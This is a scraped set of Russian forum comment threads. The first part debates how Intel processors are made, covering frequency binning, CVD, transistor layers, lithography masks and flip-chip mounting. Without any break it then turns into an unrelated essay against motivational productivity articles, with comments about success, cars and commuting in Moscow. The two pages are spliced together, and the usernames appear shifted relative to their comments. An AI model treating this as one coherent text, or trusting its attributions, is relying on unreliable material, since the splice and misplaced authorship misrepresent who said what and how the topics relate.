Если правильно помню… Процессоры тестируют на стабильность, те процессоры которые прошли тест, получают самую высокую частоту. Те которые не прошли тестируются для работы на более низких частотах.
Boomburum
т.е. в теории процессоры одной серии ( те что не самые быстрые ) можно разогнать до частоты флагманского процессора и получить стабильно работающий компьютер (сам бы не стал такого делать… забраковали ведь за что то… ) Так как тесты которые они проходят на производстве очень и очень жесткие.
Hile
Так как тесты которые они проходят на производстве очень и очень жесткие.

Вы всё правильно «помните», в интернетах об этом тоже написано. Но вот какие именно тесты, какие параметры тестируются, такого я не встречал.

Кроме того, тестировать каждый процессор накладно, тем более для многоуровневой отбраковки тесты нужно повторить несколько раз. Поэтому есть предположение, что отбирают контрольные процессоры с пластины (или даже из целой партии) и выставляют номиналы всех процессоров по этим контрольным.

Вот более подробное описание всей этой «кухни» и интересно. Если знающий хабрачеловек поделится ссылкой, буду рад.
Hile
процессоры тестируются на поддерживаемую скорость/частоту. Даже с одной кремниевой «Були» (CR Бумбурум) снимаются разные характеристики. И маркируют их уже после создания и распила вейфера на чипы, т.с. «по факту»
ekungurov
Конечно, process variation огромен, даже для транзисторов в одном процессоре.
Так что да, есть шансы, что Вам повезет и характеристики конкретно Вашего чипа будут лучше средних. Но, возможно, они будут только-только дотягивать: лотерея.
iblesq
Вопрос об определении частот мне удалось задать на одной из конференций сотрудникам Intel.
ЕМНИП: После изготовления пластины она проходит серию тестов. Тестируется сразу вся пластина, а не индивидуальные процессоры. И если абсолютно все (рабочие) процессоры проходят тест, то производится маркировка. Если хотя бы один не проходит, то снижаются требования на один шаг и опять выполняется тестирование. Если крупные заказчики (к примеру HP) разместили большой заказ на среднечастотные модели, то тестирование начинается сразу с необходимых частот, а не с максимальных. Это делается в целях экономии, так как тестирование очень затратная процедура. Вот оверклокерам и попадаются скоростые экземпляры :)
theschmidts
Об этом бы еще в статью под кат, а то затеряется в комментах.
QZen
А как делается несколько слоев? Из статьи не понятно, как делается более одного слоя.
lybin
Каких именно слоев?
ivanych
>Она образует проводник или будущий активный элемент – результатом такого подхода становятся различные картины замыканий на каждом слое микропроцессора.

Микропроцессорных слоев.
Boomburum
Написано же, что на кремниевую пластину последовательно наносится несколько слоев, каждый из которого обрабатывается в том порядке, про который я писал. Учитывая, что для каждого такого слоя используется свой фотошаблон (мне тут сейчас подсказали, что один такой шаблон может стоить десятки млн долларов), в итоге получается многослойная трехмерная структура, соединения элементов в которой проектируется инженерами
ivanych
Где написано? Несколько слоев чего? Вы хотите сказать, что на кремний чего-то там наносится и из этого чего-то делаются слои процессора? А кремний тогда зачем нужен?
Boomburum
Поясню. Слои наносятся, например, методом осаждения из парогазовой смеси. В случае создания слоя оксида — просто окисляем. При росте оксида, он растет и вверх, и вниз. То есть из слоя кремния толщиной а, получится оксид толщиной 2а. Если оксид был создан на все поверхности кристалла, а нужно оставить его где-то конкретно, но не везде, кладется слой фоторезиста, облучается, снимаем облученный фоторезист, а потом травим оксид в тех местах, которые остались не закрыты фоторезистом. (Так как травление вбок тоже идет, то это учитывается при создании фотошаблона для экспонирования). Таким образом получается рисунок для одного слоя. Потом там можно еще что-нить натворить, но перед созданием следующего слоя еще делают планаризацию — выравнивание структуры по высоте, чтобы не было неровностей, и дорожки потом не ломались. Ну как-то так, надеюсь, что помог ))
ivanych
Так вот, про второй и далее слои я не понял. Они что, как бы «налепляются» на первый слой? А из чего эти слои сделаны? Это уже не кремний? А зачем тогда вообще была нужна кремниевая пластина, какую она функцию в процессоре выполняет?
Lerk
Кремний это просто основа, на которой все держится
Удобен тем, что не проводит ток, не гнется, плавится только при высоких температурах
А в принципе раньше и на металле схемы травили
ivanych
Вроде до сих пор на люминии делают микрушки )
Да и КНИ (кремний на изоляторе) вообще довольно популярная тема была лет 5 назад когда я в универе был…
z130
Вы взорвали мой мозг. Так значит, процессоры не из кремния делают?!
destman
Разумеется, он еще участвует в создании p-n переходов транзисторов, но можно и без него обойтись

А слои просто напыляют слой за слоем, травят и так далее, написано что 20 слоев сейчас делают
То есть если поверх готового слоя напылить слой кремния, то его можно тоже травить и сделать таким образом еще один слой схемы, потом сверху еще кремния нашарашить и так 20 раз
ivanych
Угу и поле каждого слоя — неплохо бы сдать планаризацию полученной поверхности. А то на 20 слоях без планаризации заколебешся проектировать и тех процесс моделировать )
z130
как кстати растят силикон?
destman
Написали в соседнем комментарии, что метод осаждения из парогазовой смеси, то есть довольно чистый кремний должен осаждаться или чего там осаждают
miguello
Это CVD. Мне не то интересно, чистый он или нет, а то, что подложка это монокристалл, а растят что — аморфный кремний, поликристаллический или монокристаллический? CVD насколько я понимаю, дает поликристалл, методы, которые дают монокристаллы — слишком дороги.

z130
Куча способов есть. Из популяронго (по крайней мере лет 5 назад было так) метод CVD (chemical vapor deposition, по русски — химическое осаждение из газовой фазы).
miguello
CVD разве дает монокристаллический кремний? Например, затворы, да, какое-то время делали из поликристалилческого кремния и растили его в самом деле CVD, но тут же я как понимаю нужен монокристаллический кремний?

Если да, то им нужно MBE, что очень дорого для промышленности и медленно.
В общем, ладно, посмотрю сам… :)
destman
Монокристалический кремний — в подложке. Именно там делают транзисторы. Все что выше — это либо метализация, либо затворы, либо диелектрики (или еще чего такого). Про 2 уровня в которых формируются активные структуры — я не слышал. (Можно конечно сделать SOC, объеденив 2 подложки вместе на еще одной подложке, но это не совсем то :) )
miguello
Вот я к тому и веду, что активный слой один, а их рассказа Бурума получается ошибочное мнение что таких слоев несколько. Ну я не знаю, может и бывает, поэтому и спрашиваю, как кремний растят. Мне тут — осаждение из газофазовой смеси. Чистый кремний. Вот и получается, что слышали звон, да не знают, где он.

destman
Что-то я пропустил момент где в статье об этом говорится.
Правда описание формирования активных структур немного коряво сделано. Видимо вы про эту часть говорите.
Вобщем если другими словами сказать — то можно загонять примеси на разный уровень. Благодоря чему pn переходы можно сфорировать в «середине подожки» а не на поверхности (где куча дефектов и прочих радостей связанных с оборванными связями).
Так вот уровней на которые загоняются примеси — можно делать много. Сколько хватит фантазии и процессорных мощьностей чтоб промоделировать сие безобразие.
miguello
Более того, Я вам скажу, можно и в латеральном направлении концентрации примесей модулировать. В смысле, под слоем оксида… :)

Halo effect — слышали?
destman
pn переход глубже 100 нм в современной технологии не нужен ;)

у Вас не совсем правильное представление о том, как делается транзистор. Сделать на одной подложке транзистор один над другим невозможно.
Разная глубина залегания примесей делается для того, чтобы сделать правильную форму у pn перехода (она должна быть хитрая). Но никак не для того, чтобы сделать другой транзистор.
miguello
Откуда вы вычитали в моем посте про несколько транзисторов один под другим. Я говорил про возможность формирования на разных частях подложки транзисторов с различными характеристиками.

З.Ы. Хотя както раз от нечего делать наваял в Silvaco такой тех процесс чтобы получось 2 вертикальных транзистора один под другим. Но характеристики у нижнего были очень хреновые :)
theschmidts
Если что я за моделирование 2х нм технологии деньги получаю
destman
Как в модели 2 нм тепловой барьер решается?
theschmidts
2х это между 20 и 30 нанометрами.
С теплоотводом до 10 нм проблем больших нет, если Вы об этом. Токи же тоже уменьшаются.
С точки зрения технологии там random process variation гораздо важнее.
budyakov
По площади кристалла и техпроцессу можно посчитать, сколько транзисторов на нем уместится теоретически, и станет понятно, делают ли их все на подложке или строят несколько этажей
theschmidts
О — вот слова не мальчика, но мужа.
Вы правы совершенно.
z130
В общем, Core i3 занимает 81 мм2, 382 млн транзисторов, техпроцесс 32 нм
Если транзистор квадратный, их там может поместиться 79 млрд вплотную, а так их там в 200 раз меньше, видимо на провода много места ушло
Значит, строить многоэтажку реально смысла нет
theschmidts
32 нм — это минимальный размер который позволяет делать технология.
Реальный транзистор должен быть больше. Да и как минимум нужно 2 вывода для транзистора (а это уже 2 по 32х32 + еще изоляция).
z130
А корпус у него 37,5x37,5 мм, и туда таких ядер поместится аж 17 штук
Итого, за эти годы площадь недотраха составила… ))

В общем, скайнет уже где-то рядом, программу еще только не отладили…
destman
CVD может давать и монокристаллический кремний.
MBE в этой промышленности (да и вообще в промышленности) не используется: слишком дорого.

Но слой транзисторов один.
z130
Иногда подращивают тонкие слои кремния (до 100 нм) — CVD.
theschmidts
НИКТО ничего не напыляет (почти, в очень современных транзисторах таки да, напыляют, но это секрет).

Слои о которых идет речь — это проводящих соединений (над транзисторами).
И то их не 20. Автор исходного топика похоже путает немного шаги нанесения масок и спейсеров и реальные физические слои кремния с транзисторами (такой слой строго один).
theschmidts
>Слои о которых идет речь — это проводящих соединений (над транзисторами). И то их не 20.
металлов 10, а на каждый метал можно и пару раз полировать ;)
theschmidts
если правильно помню из института, то чтобы получился транзистор нужно создать два p-n перехода. p-n переходы создаются путем соединения двух полупроводников с разным типом проводимости.А чтобы отделить один транзистор от другого нам нужен диэлектрик.
p-тип (от слова positive) проводимости, это когда не хватает свободных электронов и на их месте получаются условные позитивно заряженные «дырки». n-тип (negative) это электронная проводимость, возникает когда электронов больше чем надо.
И еще одно понятие — валентность. Упрощенно, это количество атомов на внешней орбите.

Так вот кремний это полупроводник, причем количество «дырок» и свободных электронов в нем одинаковое. Насытив его атомами бора(валентность меньше чем у кремния) мы получаем p-тип проводимости, а если насытим атомами, например, фосфора (валентность больше чем у кремния) получим n-тип проводимости.
Окисл кремния это диэлектрик. Получается закрывая часть кремния защитным слоем и легируя (внедряя атомы бора или фосфора) его или окисляя мы можем создать полноценный транзистор. Останется только проводники подвести.

Правда вот не помню как создаются несколько слоев транзисторов. Наверно должны снова как-то напылить слой чистого кремния.
a5b
Несколько слоев транзитора — это очень сложно. Иначе проще было бы сделать грязнущую подложку (условно). Напылить туда кремния и в нем все делать. Видимо характеристики осаждаемого кремния хреновые.
А вообще обычо все танзисторы формируются в подложке, но вот связи между ними лепятся поверх (и чем сложнее логика-тем сложнее соеденить транзисторы как надо и тем больше нужно уровней метализации).
Есть еще такое понятие как SOC (system on chip, система на кристале по русски). Это когда несколько отдельных устройств объеденяются в одно (причем не обязаетльно все устройства должны быть кремниевые) на одной подложке.
vanuch
Я где-то так и сам думаю, но в статье написано, что делают несколько слоев транзисторов. Поэтому и высказал самое простое решение которое пришло в голову.

А вообще даже самому стало интересно как делается второй слой транзисторов.Не помню чтоб такое рассказывали в институте, хотя по производству микросхем проходились довольно подробно. Правда все лабораторные были еще на основе советских технологий:(
destman
В статье просто ошибка, перепутаны слои, осаждаемые при формировании gate stack и слои транзисторов.
vanuch
А кстати да, Я так и не понял из статьи, Бурум имел ввиду, что используя другую маску, делают имплантацию в других местах?

Потому что как он написал, звучит что растят оксид кремния и уже его имплантируют.

Или он таки имел ввиду, что растят силикон? Поли-силикон? Или МЛЭ растит им там монокристалл?
theschmidts
Нет, на одной подложке делается один слой транзисторов.
miguello
Ахринительно классно, этож сколько мозгов надо, чтоб это все придумать. А тем более сделать!
theschmidts
На самом деле, поскольку придумывают уже 50 лет, ничего особо сложного тем нет.
(Вернее оно очень сложное, но каждый следующий шажок — лишь небольшое изменение текущего состояния)
T_Ildar
>Излишки проводящего покрытия убираются полировкой.

Это не просто полировка, это Химико-Механическая Полировка (Chemical-Mechanical Polishing). У нас в лабе только на ней один чевак докторскую сделал… :)
theschmidts
Update:
Для каждого нового процессора не надо схему линз менять и выдумывать новый процесс литографии — весь процесс создания отработан, и на заводах кроме процессоров делают еще память, сторонние процессоры на заказ и так далее
У той же интел есть коммуникационные процессоры, флеш-память и туча прочей хрени которую она всю делает на своих заводах

При запуске в производство наверное самое главное отладить шаблон, по которому травят, и в первых партиях выход годных чипов крайне мал, единицы процентов, а если дизайн сложный, то и потом процентов 30 годных, а все остальное в мусор
Аналогично с экранами, которые делаются очень похоже — нерабочие пикселы мы все еще помним
miguello
Как говорил мой преподователь — есть 2 способа сделать что-то новое в микроэлектронике:
1) Придумать что-то. Хорошенько помоделировать. Проверить на реальных устройсвах.
2) Стырить идею у соседа. Методом проб и ошибок подогнать техпроцесс :)

Глядя на успехи китая становистя ясно какой сопосб выгоднее :)
z130
Нет, DRAM и логика сильно отличаются.
Есть всего пара компаний, которые могут быстро переключиться с flash на DRAM.
Все продукты делаются на разных фабах
destman
Пока что лучший пост автора! Спасибо! Надеюсь на продолжение!
theschmidts
> чего сложного в этом куске железа?

Действительно, что сложного в куске железа, если это не железо, а кремний? :-/
vladia
Железо в этом контексте — часть комьютера (Hardware).
romx
Спасибо, Капитан!
destman
Эм, неплохо, конечно. Популяризацию front-end технологии можно только приветствовать, ведь это краеугольный камень всей современной электроники (да и всего образа жизни в развитых странах).

Но ошибок, к сожалению много. Ошибки происходят из-за того, что Вам рассказали о том, как делались транзисторы лет цать назад. Ну и люди, видимо, далеки от производства или даже TCAD.
Например:
«Как изолировать области, не требующие последующей обработки? Перед литографией на поверхность кремниевой пластины (при высокой температуре в специальной камере) наносится защитная пленка диэлектрика – как я уже рассказывал, вместо традиционного диоксида кремния компания Intel стала использовать High-K-диэлектрик. „

В реальности диэлектрик никак не изолирует области подложки от последующей обработки: ВСЕ имплантации производятся через диэлектрик. Он изолирует (электрически :) ) затвор от подложки, чтобы ток, когда к затвору приложено напряжение, не шел между затвором и эмиттером с коллектором.

У современных процессоров ОДИН front-end слой: не бывает транзисторов друг над другом. Много шагов литографии и имплантации нужны потому, что структура современного транзистора очень сложна, профили примесей надо создать очень хитрой формы и одним шагом имплантации как когда-то — не обойтись.

Насчет разных типов транзисторов и титаническую работу: в реальности процессоры разные а транзисторы (почти) одинаковые. Я полагаю что у Интела всего несколько процессов. Причем отличия не принципиальные. Так что инженеры Интела просто стараются уменьшить design rule. Работа, впрочем, титаническая (а нам их догонять еще сложнее :) )
romx
>Много шагов литографии и имплантации нужны… транзистора… примесей

А что, металлизацию нынче без фотолитографии делают? Литографий нужно примерно столько же (ну или на 2 умножить, если DP), сколько и масок. Для 45 нм, для памяти нужно 30-35 масок. Процессоры сложнее, масок нужно больше.

Для TSMC 40nm, для 1P10M
www.europractice-ic.com/technologies_TSMC.php?tech_id=40nm

Default # of masks 36; # of optional masks 14

количество масок составляет от 36 до 50

Для TSMC 0.25 um 1P5M
www.europractice-ic.com/technologies_TSMC.php?tech_id=025um

требуется масок от 25 до 36
theschmidts
Металлизация — это не front end по определению.
Просто из исходного текста у многих, судя по комментариям, сложилось впечатление о транзисторах, расположенных один над другим.

А то, что для металлизации нужна литография — это, конечно, так.
Нужно просто понимать, что часть из масок применяется для создания front end, а часть — back end и не стоит их всех в кучу сваливать.
a5b
Я не смог найти четкого разделения количества масок для feol и beol. Даже общие цифры еле нашел. Не могли бы вы подсказать, сколько примерно масок требуется для feol и сколько — на каждый металл?
theschmidts
Немного масок нужно для front end, в простом случае 4.

Но, еще раз повторюсь, из исходного текста можно сделать вывод, что front end c back end смешаны и транзисторы делаются один над другим.
a5b
Спасибо за пост, все хотел почитать про тех. процесс создания процессоров, а тут пост :-)
Приятно…
theschmidts
А зато наши советские микросхемы — самые большие микросхемы в мире!

Дед работал на воронежском заводе полупроводников, вроде бы как раз в цехе травления, так что рассказывал забавные истории о реалиях техпроцесса фотолитографии в Эсэсэсэрии :) Теперь артефакте оттуда — фторопластовая коробочка, в которой их собственно травили — используется у меня как копилка для мелочей.
soloweb
первый реально интересный пост от бумбурума. спасибо.
merlin-vrn
Привет всем от выпускника МИЭТа.
Этой теме меня учили четыре года, эх :)
Похвастаюсь:
ПХТ (плазмо-химическое травление) делал.
Фотолитографию «делал» (прогоняли по шагам весь процесс, не включая самой машины :)
Пластинки в адской печке окислял (обоженный о кварцевый щуп палец и кремниевая пластинка в подарок прилагается)
Травление в плавиковой кислоте делал (очень забавный процесс)
Деионизованную воду пил (кстати, всегда думал что дистиллированная/деионизованная вода — гадкая, а оказалось, очень забавная, мяягкая-мягкая такая на вкус)
Топологию (не процессоров, но SRAM) — совсем чуть-чуть, но делал :)

По специальности работать не пошел — денег платят так, что хочется лечь и умереть (на практике получал ~7К за полставки).
non7top
Супер, крайне содержательная и доступная для понимания статья
miga
В видео ошибка, чип перед припаиванием на платку ПЕРЕВОРАЧИВАЮТ, т.н. flip-chip — когда кристалл припаивается не пачкой проводков (их слишком много получается), а шариками, что-то типа BGA. Вот, первая попавшаяся статья, о том, что в Интел flip-chipу уделяют много внимания www.intel.com/technology/itj/2008/v12i2/7-flip/1-abstract.htm
Как надоели эти тематические статьи о повышении результативности, мотивации и прочей чепухе. Зачем люди их пишут? Чтобы помочь тем, кто запутался в себе? Для тех, кому тяжело сосредоточиться? Вряд-ли это так.

Современная жизнь диктует нам, что все нужно делать быстро, добиваться максимальной эффективности. Непременно нужно быть очень успешным. Нужно двигаться к цели, каждый день, каждый час, ежеминутно. Оставив все лишнее, бросить все силы на достижение результата. Иначе нет смысла жить.


Друзья зовут выпить? От таких лучше держаться подальше, ведь если ты выпьешь с ними, то вечер потерян, а то еще и завтрашний день. А ведь это время так важно для достижения целей. Оставь этих друзей, не общайся с ними.

Плохо себя чувствуешь, устаешь, нет сил? Ерунда, брось, разве это усталость? Вот солдат на войне, он устает, но не сдается. А что ты, разве это усталость, хватит тереть сопли, вставай с дивана и вперед, достигать цели.

Не знаешь как собраться и мотивировать себя? Слабак. Читай статьи, книги, учебники методички, смотри на пример других, тех кто заставил себя достигать цели. Они непременно тебе помогут.

Не трать время на ерунду. Не смотри телевизор, не валяйся в кровати после звонка будильника, не стой в пробках и т.д. и т.п.

Некоторые особо талантливые авторы, аж слюной брызжут пытаясь мотивировать людей стать успешнее. Не можешь, не делай. Лежи, плюй в потолок. Так и останешься, забытый, не нужный, не успешный, не мотивированный. А не хочешь, подними зад и давай делай что-нибудь. Только не лежи, не сиди, не спи, не трать время и так далее. К сожалению, эти статьи слабо мотивируют, да и вообще, больше похожи на практику по словоблудию.

Надоело. Все это чушь, ерунда, ересь. Просто шум. Это все слова.

На самом деле, для каждого человека ценности жизни, успех и цели уникальны. У всех нас разные потребности, разная мотивация. И это факт. Если нет достаточной мотивации, то ее нет. И не нужно пытаться искать ее в чьих-то книгах, словах, нравоучениях. Если книга не читается, то скорее всего она вам просто не интересна, так зачем заставлять себя?

Сейчас стало очень модным быть целеустремленным, ориентированным на результат, на успешность. Если ты не работаешь над достижением какой-то цели, то ты не удачник, ты коптишь воздух, ты деградируешь. Быть не успешным не круто.

Абсолютно у каждого человека есть свои критерии душевного спокойствия и личного счастья. Для одного это крепкая семья, здоровые дети, теплый уютный дом. Для другого — крутая тачка, модный смартфон. Для третьего — быть на виду, на слуху. И так далее.

Но нам говорят, что нужно постоянно стремиться к новым вершинам, управлять временем, каждая секунда должна быть во имя чего-то. Нас обманывают, пытаются заставить жить по законам, которые чужды обычному живому человеку. Нам прививают привычку жить по расписанию, по строгим планам, идти всегда вперед. Шаг в право/влево -побег, чуть встал, задумался о чем-то и тебя уже обскакали, ты опять опоздал.

Человек не машина, он может и должен иметь слабости, поддаваться им. В этой гонке за эффективностью мы теряем себя, свое настоящее. Мы живем часто сомнительными целями, идеями которые нам чужды, надуманными, не настоящими. Но для нас пишут статьи, снимают видео-ролики, проводят семинары по мотивации. Что бы выжать из нас еще чуть-чуть, еще немного, заставить жить эффективнее.

Людям запутавшимся в собственной жизни, ищущим пути выхода из тупика, зачастую не помогают, а прививают комплексы. Ты не можешь достичь цели? Ты неудачник. Прочитал статью и до сих пор не принялся за дело? Ты жалкий неудачник. И так далее.

Что же делать тем, кто хочет что-то изменить в своей жизни? Как побороть усталость и апатию? Как найти в себе силы делать что-то? Как улучшить свою эффективность для себя?

Возможно, что очень мотивированным и успешным людям, это покажется ерундой. Но все изложенное ниже, всегда помогало мне и моим близким. Уверен, что все эти советы вы когда-нибудь слышали.

1) Возьмите паузу. Это самый важный шаг. Если вы запутались, рассредоточены, не можете взяться за дело, бросьте его на время. Дайте своей нервной системе отдых. Такое использование времени только кажется не эффективным, потраченным в пустую. На самом деле просто вспомните знаменитое выражение — “Все болезни от нервов”, оно вполне правдиво. Только одно НО, не лежите все это время в кровати пытаясь выспаться впрок. Сходите в кинотеатр в который давно хотели сходить, в цирк с детьми, с женой в ресторан, прочитайте книгу на которую не было времени. Покатайтесь на велике, на санках, на лыжах. Можете даже напиться в хлам с друзьями неудачниками.

2) Пока отдыхаете, попробуйте наладить более-менее четкий режим дня. Врачи рекомендуют спать около 8 часов в сутки. На деле, продолжительность сна у всех разная, но среднее значение все равно примерно 8 часов.
Так как вы отдыхаете сейчас, то можете прикинуть сколько нужно сна именно вам. Обязательно ложитесь спать в то время когда запланировали и вставайте вовремя, не пересыпайте. Все остальные дела в течении дня, должны быть построены так, чтобы время подъема и засыпания было одинаковым ежедневно.
Тут многие возразят, мол на работу встаю 6 утра, приезжаю домой из-за пробок только в 9 вечера, а в 10 уже надо лечь, когда же жить? А что в таком случаем имеется ввиду под словом жить? Сидеть в “одноклассниках”, или перед зомбо-ящиком? Или вы хотите меня убедить, что встав в 6 утра и приехав домой в 21 час, можно эффективно провести время до того как сон свалит вас с ног? Может быть, но на это способен далеко не каждый, и перегореть очень легко. Так что лучше спать. Помните, что сон это отдых не только для рук и ног, но и для мозга и нервной системы в целом.

3) Выделите в своем режиме дня личное время. Это может быть час в день, или целый день, может быть пол-часа по субботам. Это время только для вас, тут не может быть никакой работы. Только вы и ваше хобби или что еще. Читайте, пойте, ходите в спортзал, бегайте, да хоть с мужиками в домино у подъезда играйте. Обязательно используйте это личное время, если нет дел, просто пройдитесь по парку или по улице. Просто так, без мыслей, без цели. Это как глоток воздуха для вашей нервной системы. Время разгрузки. Лишь кажется, что такая уловка бесполезна, но попробуйте сложить эти минуты в часы, дни, недели. Не мало, правда?

4) Заведите себе карманный блокнот. Не ежедневник, а именно блокнот, без дат, чисел и пр. Их вы сможете проставить сами, когда потребуется. Поначалу он вам будет не нужен, вы не будете знать, что туда написать. Но все равно, носите его с собой. Со временем вы поймете, что записывать что-то очень удобно. Пишите туда свои мысли, интересные идеи, и все что вам кажется важным.
Эта привычка поможет вам стать более собранным, незаметно, по-тихоньку. Многие считают, что это притупляет память. Не верьте, записывать, анализировать, возвращаться к мыслям очень полезно и к тому-же такой анализ это тоже отдых для вашей нервной системы.
Только не нужно использовать для этих целей смартфон. Вам нужен именно блокнот. Живые ощущения, скрип ручки о бумагу, шуршание листков блокнота, след от чернил, неровность вашего подчерка или наоборот, его идеально выверенные штрихи. Эти ощущения очень важны, не меняйте их на дурацкие кнопки или бездушный тач-скрин.

5) Питайтесь правильно. Да-да это про еду. Не думайте, что это фигня. Мы очень плохо питаемся. Во только не надо мне говорить, что я не могу есть иначе, мне удобнее есть бутерброды на бегу и пить порошковый кофе из автомата. Старайтесь питаться настоящими продуктами — кашами, овощами, фруктами, яйцами, творогом, сыром, мясом. Избегайте быстрой еды — батончиков, сэндвичей, газировки, быстрых супов, колбасы, сосисок, конфет, сдобы, чипсов.
Разумеется я не призываю вас вообще отказаться от этих вещей. Просто взгляните трезвым взглядом на свой рацион и посмотрите сколько в нем нормальной еды и сколько быстрой и удобной. Если в вашем рационе удобство преобладает, то знайте, что отчасти в вашей усталости и медлительности, виновата пища.

И последнее. Не примеряйте на себя чужой успех. Заканчивайте мерить успешность жизни по другим людям. Часто говорят, вот он/она в свои 23 года миллионер/бизнесмен/коммерсант/владелец крупной компании и т.д., а ты, кто ты в свои 30. Да какая разница? Конечно хорошо иметь миллионы, иметь нефтяную скважину тоже наверное хорошо, здорово иметь полный гараж спортивных тачек и дом на побережье. Все это просто отлично. Но в конце концов решать именно вам.

Оглянитесь вокруг, взгляните в себя. У вас жена которая любит вас, а вы ее. У вас уютная, пусть и двухкомнатная квартира, которую оставил вам дедушка и вы не зарабатывали на нее 5 лет, ну и пусть. У вас прекрасный сын/дочь, у вас есть время общаться с ними и это общение дарит вам радость. Вы выезжаете летом на дачу, в деревню, кормите там слепней и сажаете редис, ходите гадить в очковый туалет, ну и круто. Наслаждайтесь этим, не копайтесь в причинах чужих побед сравнивая их с вашими неудачами, это тупиковый путь. Делайте что вам нравиться и не ломайте себя в угоду недосягаемым целям, а реальных вы и так достигнете.

В конце концов, не всем же быть миллионерами или создателями грандиозных стартапов.
Не бойтесь совершать ошибки, смейтесь над своими неудачами, не обращайте внимание на тех, кто не верит в вас. Это вам не поможет. Верьте в себя, верьте своим близким, обращайтесь к ним за помощью, идите своим путем.
g3ar
Золотые слова!
rvision
«Все пути никуда не ведут, но у одного есть сердце, а у другого — нет. Один путь доставляет радость, и пока ты идешь по нему — ты неотделим от него; а другой путь заставляет тебя проклинать всю свою жизнь. Один путь наделяет тебя силой, другой — лишает ее.» Карлос Кастанеда.
wersii
так же, сразу вспомнил.
Flexo
Мне это вспомнилось
www.youtube.com/watch?v=FwvUnwJxIBI
wersii
спасибо)
stg34
Shallfey
Пока читал, думал: «Кастанеда это или Коэльо», никак не мог решить.
mgrach
Еще хорошая цитата: «Суета сует, сказал Екклесиаст, суета сует, — все суета! Что пользы человеку от всех трудов его, которыми трудится он под солнцем? Род проходит, и род приходит, а земля пребывает во веки. Восходит солнце, и заходит солнце, и спешит к месту своему, где оно восходит. Идет ветер к югу, и переходит к северу, кружится, кружится на ходу своем, и возвращается ветер на круги свои. Все реки текут в море, но море не переполняется: к тому месту, откуда реки текут, они возвращаются, чтобы опять течь. Все вещи — в труде: не может человек пересказать всего; не насытится око зрением, не наполнится ухо слушанием. Что было, то и будет; и что делалось, то и будет делаться, и нет ничего нового под солнцем. Бывает нечто, о чем говорят: «смотри, вот это новое»; но [это] было уже в веках, бывших прежде нас. Нет памяти о прежнем; да и о том, что будет, не останется памяти у тех, которые будут после.»
rtzra
Какую полезную нагрузку несет этот комментарий?
ostapbender
>На самом деле, для каждого человека ценности жизни, успех и цели уникальны. У всех нас разные потребности, разная мотивация. И это факт.
Barsik107
Не примеряйте на себя чужой успех. Заканчивайте мерить успешность жизни по другим людям. Часто говорят, вот он/она в свои 23 года миллионер/бизнесмен/коммерсант/владелец крупной компании и т.д., а ты, кто ты в свои 30. Да какая разница?

Очень правильно!
Допустим из меня — хреновый управленец. Зачем мне лезть в бизнес или еще куда-то, где есть люди, талантливее меня, плюс ко всему мне это не интересно
Я люблю свою работу, пусть не очень прибыльную, но она мне нравится. И я посылаю всех, кто ухмыляется на счет моего достатка.
У меня нет машины. Я не хочу машину и не испытываю в ней необходимости. Я не люблю автомобили, тогда зачем она мне?
Кроме этого имею кучу интересных хобби, начиная от рыбалки, заканчивая электроникой.

И плевал я на все эти книги и тренинги! :)
skyblade
Кругом точно!

В добавок вспомнился анекдот:

«У миллионера берут интервью.
Журналист спрашивает: — Мистер Смит, вы приехали в Америку нищим, тайком, в трюме корабля, у вас ничего не было, как вам удалось стать миллионером?

На что его собеседник начинает рассказывать: — у меня не было ни цента денег, приходилось голодать. И однажды я нашёл яблоко. Я помыл его и продал за 5 центов. На эти деньги я купил два грязных яблока, помыл их, и продал уже за 10 центов. (все заинтересованно слушают)
Потом, на эти деньги купил четыре яблока, помыл их и продал уже за 20 центов.
А на следующий день умер мой дядюшка Джакомо и оставил мне в наследство 80 миллионов долларов.»

ploop
Анекдот идеально показывает как вселенная помогает тем кто знает куда идет и чего хочет =)
EGlaz
Адепт «Тайны»? =)
bogolt
А я бы сказал, анекдот показывает, что:
«Хочешь заработать на жизнь — работай! Хочешь разбогатеть — придумай что-нибудь другое...» :)
s0b3r
любите рыбалку — зачем вам машина… Многие не имеющие машину так и говорят, это самозащита — мол у меня нет не потому что нет денег а потому что мне она не нужна. Правда, я верю, что именно вам она и не нужна, должны же быть исключения
EGlaz
А вот и зря вы про самозащиту — я видел людей из подмосковья, которым машина была очень нужна, чтобы добираться до работы и они-таки её покупали, хоть денег было и не много.
А например мне по Москве ехать на работу/с работы на машине получается дольше из-за пробок, а главное гораздо не предсказуемее, чем на гор. транспорте. То есть я физически больше потрачу времени и денег. А пару раз вернуться домой скажем не к 21:00, а к 22:00, чтобы потом ещё и пораньше встать — и вопрос уже отпадает.
ivv
Как раз людям из подмосковья она на самом деле на фиг не нужна. Утром из-за тех, кому она «нужна» в Москву не въедешь, вечером — не выедешь.
Я садился в автобус в восемь часов и дремал до конечной. На работу приезжаешь в пол-одиннадцатого бодрый и выспавшийся. С машиной так не прокатит.
EGlaz
Всем. В пробках все равны.
licvidator
Так и я об этом!
Кто в праве решать, кому машина «нужна», а кому нужна? :)

Каждый решает исходя из потребностей и возможностей. Я выбрал гор. транспорт, хоть и неудобно, но надёжнее и быстрее (пробовал оба варианта).
EGlaz
Ну поскольку права не дают а берут — то например я вправе :-)
Чем выше плотность населения — тем больше должно быть общественного транспорта и меньше машин. Это совершенно очевидный факт, вытекающий из пропускной способности дорог и площади, занимаемой одним пассажиром в случае индивидуального транспорта и в случае общественного. Автобус, занимающий на дороге место 2-3 легковых автомобилей, везет несколько десятков человек.
licvidator
Вы правы только с одной стороны. Геометрия конечно точная наука и автобус везёт больше.
А представьте себе родителей с ребёнком, которого нужно отвезти в школу, кружок, поликлинику…
Или просто какую-ть нежную хрупкую девушку, которую очень выматывает езда на двух автобусах (в тех же пробках) и метро зимой да ещё и с сумками :)
Или например человека с заболеванием дыхательных путей, который в метро вообще не может находиться (знаю одного такого).
Потребности и возможности (в том числе физические) у всех разные. Поэтому решайте за себя. А насчёт остальных вы можете лишь догадываться, почему они предпочитают стоять в пробках.
EGlaz
Моя супруга пятый год пользуется такси для всяких перевозок с ребенком и т.п. Не каждый день, но в неделю раз-другой бывает. Опять же есть родственники с колесами, которые Продукты исправно, хоть и обычно с опозданием, доставляет утконос. Если бы я купил пять лет назад новую машину — то она до сих пор не окупилась бы.
licvidator
Окупилась денежно? Или в смысле окупилась «полезностью»?
EGlaz
Так а какого *** вы сидите в этой Маскве? Поезжайте в Сибирь.
licvidator
С чего вы взяли что я в Москве?
wlan
А я и не вам лично. Тут скорее Масква — собирательный образ города «успешных людей».
Rsolars
Ну, коммент-то мне на почту свалился, вот я и подумал…
licvidator
Странно, я писал коммент к другому посту…
Rsolars
